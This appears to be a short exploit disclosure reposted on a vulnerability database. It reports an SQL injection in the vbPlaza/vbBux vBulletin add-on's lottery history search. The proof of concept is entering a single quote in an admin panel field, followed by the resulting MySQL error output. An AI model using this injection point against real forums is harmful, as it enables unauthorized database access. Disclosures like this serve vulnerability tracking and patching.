`# Exploit Title: vbBux and vbPlaza v4 SQLI
#
# Author(s): n3tw0rk (twiiter.com/n3tw0rkgod)
#
# Contact: Mail:[email protected]
#
# Product: 4.0.3 and below
#
# Software Version x.x.x
#
# Product Download:
http://www.vbulletin.org/forum/showthread.php?t=270271#
# Homepage: d4tabase.com
#
_____________________________________________________________#
The exploit is caused due to a variable named 'vbplaza_lottery_history' not
being sanitized before being used within an insert into statement.
POC
You will need Admincp Access then go to
http://localhost/admincp/vbplaza_lottery.php?do=searchhistory then in the
force read order column put a
' into the search bar and result should show
Database error in vBulletin 4.2.1:
Invalid SQL:
Database error in vBulletin 4.2.1
Invalid SQL:
SELECT COUNT(*) AS count
FROM vbplaza_lottery_history
WHERE 1=1 AND (lotteryid = ');
MySQL Error : You have an error in your SQL syntax; check the manual that
corresponds to your MySQL server version for the right syntax to use near
'')' at line 3
Error Number : 1064
Request Date : Sunday, August 11th 2013 @ 05:17:53 PM
Error Date : Sunday, August 11th 2013 @ 05:17:54 PM
Script : http://localhost/admincp/vbplaza_lottery.php?do=findhistory
Referrer :
http://localhost/admincp/vbplaza_lottery.php?do=searchhistory
IP Address : ::1
Username : n3tw0rk
Classname : vB_Database
MySQL Version : 5.5.27
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation